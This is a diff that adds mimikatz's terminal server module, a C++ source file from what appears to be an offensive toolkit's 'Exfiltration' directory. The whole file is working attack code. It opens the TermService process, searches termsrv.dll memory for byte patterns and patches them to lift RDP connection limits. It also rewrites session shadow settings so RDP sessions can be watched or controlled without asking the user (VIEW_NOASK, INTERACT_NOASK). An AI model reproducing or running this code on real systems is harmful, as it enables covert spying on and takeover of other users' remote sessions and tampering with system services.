aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp291
1 files changed, 291 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp
new file mode 100644
index 0000000..9a071b1
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp
@@ -0,0 +1,291 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_terminalserver.h"
+#include "..\global.h"
+
+// http://msdn.microsoft.com/library/aa383464.aspx
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)"));
+ return monVector;
+}
+
+bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments)
+{
+ vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions;
+
+ if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL)))
+ {
+ (*outputStream) << L"SessId\tEtat\tstrEtat" << endl;
+ for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' <<
+ setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' <<
+ maSession->sessionName <<
+ endl;
+ }
+ }
+ else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
+ return true;
+}
+
+
+bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments)
+{
+ vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess;
+
+ if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL)))
+ {
+ (*outputStream) << L"PID\tSessId\tUtilisateur" << endl;
+ for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' <<
+ setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' <<
+ monProcess->processName <<
+ endl;
+ }
+ }
+ else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl;
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments)
+{
+ DWORD session = 0;
+ PDWORD ptrSession = NULL;
+
+ if(arguments->size() == 1)
+ {
+ wstringstream resultat(arguments->front());
+ resultat >> session;
+ ptrSession = &session;
+ }
+
+ listAndOrModifySession(ptrSession);
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments)
+{
+ DWORD session = 0;
+ PDWORD ptrSession = NULL;
+
+ wstring strState;
+ DWORD newState = 0;
+
+ if(arguments->size() == 1)
+ {
+ strState.assign(arguments->front());
+ }
+ else if(arguments->size() == 2)
+ {
+ wstringstream resultat(arguments->front());
+ resultat >> session;
+ ptrSession = &session;
+
+ strState.assign(arguments->back());
+ }
+
+ if(!strState.empty())
+ {
+ bool strError = false;
+ if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0;
+ else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1;
+ else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2;
+ else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3;
+ else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4;
+ else strError = true;
+
+ if(!strError)
+ listAndOrModifySession(ptrSession, &newState);
+ else
+ (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl;
+ }
+
+ return true;
+}
+
+bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState)
+{
+ bool reussite = false;
+
+ vector<mod_patch::OS> mesOS;
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
+ mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
+ mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
+ mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64);
+
+ if(mod_patch::checkVersion(&mesOS))
+ {
+#ifdef _M_X64
+ BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22};
+ long offsetToWin = -4;
+#elif defined _M_IX86
+ BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15};
+ long offsetToWin = -6;
+#endif
+ mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
+ wstring serviceName = L"TermService";
+ wstring moduleName = L"termsrv.dll";
+
+ if(mod_service::getUniqueForName(&monService, &serviceName))
+ {
+ mod_process::KIWI_MODULEENTRY32 monModule;
+ if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId))
+ {
+ PBYTE baseAddr = monModule.modBaseAddr;
+ DWORD taille = monModule.modBaseSize;
+
+ if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId))
+ {
+ PBYTE addrPattern = NULL;
+ if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle))
+ {
+ PBYTE addrWinstationListHead = NULL;
+
+ bool resInterm = false;
+
+#ifdef _M_X64
+ long offSet = 0;
+ resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle);
+ addrWinstationListHead = addrPattern + offSet;
+#elif defined _M_IX86
+ resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle);
+#endif
+ if(resInterm)
+ {
+ PBYTE addrWinstation = addrWinstationListHead;
+ do
+ {
+ if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead)
+ {
+ KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION();
+ if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle))
+ {
+ if((!id) || (maSession->id == *id))
+ {
+ (*outputStream) << L"@Winstation : " << addrWinstation << endl;
+
+ (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl;
+ (*outputStream) << L"\tid : " << maSession->id << endl;
+ (*outputStream) << L"\tname : " << maSession->name << endl;
+ (*outputStream) << L"\tsname : " << maSession->sname << endl;
+ (*outputStream) << L"\ttype : " << maSession->type << endl;
+ (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl;
+
+ if(newState)
+ {
+ reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle);
+ (*outputStream) << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl;
+ }
+ (*outputStream) << endl;
+ }
+ }
+ delete maSession;
+ }
+ } while(addrWinstation != addrWinstationListHead);
+ }
+ else (*outputStream) << L"mod_memory::readMemory " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
+
+ CloseHandle(processHandle);
+ }
+ else (*outputStream) << L"OpenProcess " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl;
+ }
+ return reussite;
+}
+
+bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments)
+{
+ BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f};
+ BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90};
+ LONG OFFS_WIN5_TestLicence = 3;
+#ifdef _M_X64
+ BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};
+ BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
+ BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};
+ BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
+#elif defined _M_IX86
+ BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84};
+ BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90};
+ BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84};
+ BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
+#endif
+ LONG OFFS_WIN6_Query__CDefPolicy = 0;
+
+ BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0;
+ BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0;
+ LONG OFFS_PATC_Licence = 0;
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence);
+ PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence);
+ OFFS_PATC_Licence = OFFS_WIN5_TestLicence;
+ }
+ else
+ {
+ if(mod_system::GLOB_Version.dwMinorVersion < 1)
+ {
+ PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy);
+ PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy);
+ }
+ else
+ {
+ PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy);
+ PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy);
+ }
+ OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy;
+ }
+
+ mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence);
+ return true;
+}
+
+wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow)
+{
+ switch(shadow)
+ {
+ case 0: return(L"DISABLE");
+ case 1: return(L"INTERACT (confirmation)");
+ case 2: return(L"INTERACT_NOASK");
+ case 3: return(L"VIEW (confirmation)");
+ case 4: return(L"VIEW_NOASK");
+ default: return(L"?");
+ }
+}
+
+wstring mod_mimikatz_terminalserver::stateToType(DWORD state)
+{
+ switch(state)
+ {
+ case WTSActive: return(L"Active");
+ case WTSConnected: return(L"Connected");
+ case WTSConnectQuery: return(L"ConnectQuery");
+ case WTSShadow: return(L"Shadow");
+ case WTSDisconnected: return(L"Disconnected");
+ case WTSIdle: return(L"Idle");
+ case WTSListen: return(L"Listen");
+ case WTSReset: return(L"Reset");
+ case WTSDown: return(L"Down");
+ case WTSInit: return(L"Init");
+
+ default: return(L"?");
+ }
+}